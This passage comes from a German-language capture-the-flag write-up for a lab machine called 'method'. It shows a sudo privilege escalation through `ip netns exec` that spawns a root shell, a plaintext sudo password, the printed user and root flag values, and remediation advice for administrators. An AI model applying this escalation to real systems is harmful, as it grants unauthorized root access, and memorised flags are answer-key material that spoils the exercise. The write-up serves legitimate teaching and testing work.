# https://gtfobins.github.io/gtfobins/ip/#sudo
prakasaka@method:~$ sudo ip netns add foo
[sudo] password for prakasaka: th3-!llum!n@t0r
                     
prakasaka@method:~$ sudo ip netns exec foo /bin/bash
root@method:/home/prakasaka#
                     

Bewertung: **Privilege Escalation erfolgreich!** Die Technik funktionierte wie erwartet, und eine Root-Shell wurde erlangt.

Empfehlung (Pentester): Bestätigen Sie die Identität mit `id`. Lesen Sie die Root-Flag. Führen Sie Post-Exploitation durch.
Empfehlung (Admin):** **Dringend:** Beheben Sie die unsichere `sudoers`-Regel für `/bin/ip`. Überprüfen Sie alle `sudo`-Regeln auf ähnliche Schwachstellen.

Flags

cat /home/prakasaka/uSeR.txt
e4408105ca9c2a5c2714a818c475d06F
cat /root/rOot.txt
fc9c6eb6265921315e7c70aebd22af7F

Analyse: Nachdem Root-Zugriff erlangt wurde, werden die User- und Root-Flags gelesen. Die User-Flag (`uSeR.txt`) befindet sich im Home-Verzeichnis von `prakasaka`, die Root-Flag (`rOot.txt`) im Home-Verzeichnis von `root`.

root@method:~# cat rOot.txt
fc9c6eb6265921315e7c70aebd22af7F
root@method:~# cat /home/prakasaka/uSeR.txt
e4408105ca9c2a5c2714a818c475d06F

Bewertung: Beide Flags wurden erfolgreich gefunden und ausgelesen. Das Ziel der Übung wurde erreicht.

Empfehlung (Pentester): Dokumentieren Sie die Flags und schließen Sie den Bericht ab.
Empfehlung (Admin): Konzentrieren Sie sich auf die Behebung der Schwachstellen: RCE in `secret.php`, hardcodierte Anmeldedaten, unsichere `sudoers`-Regel.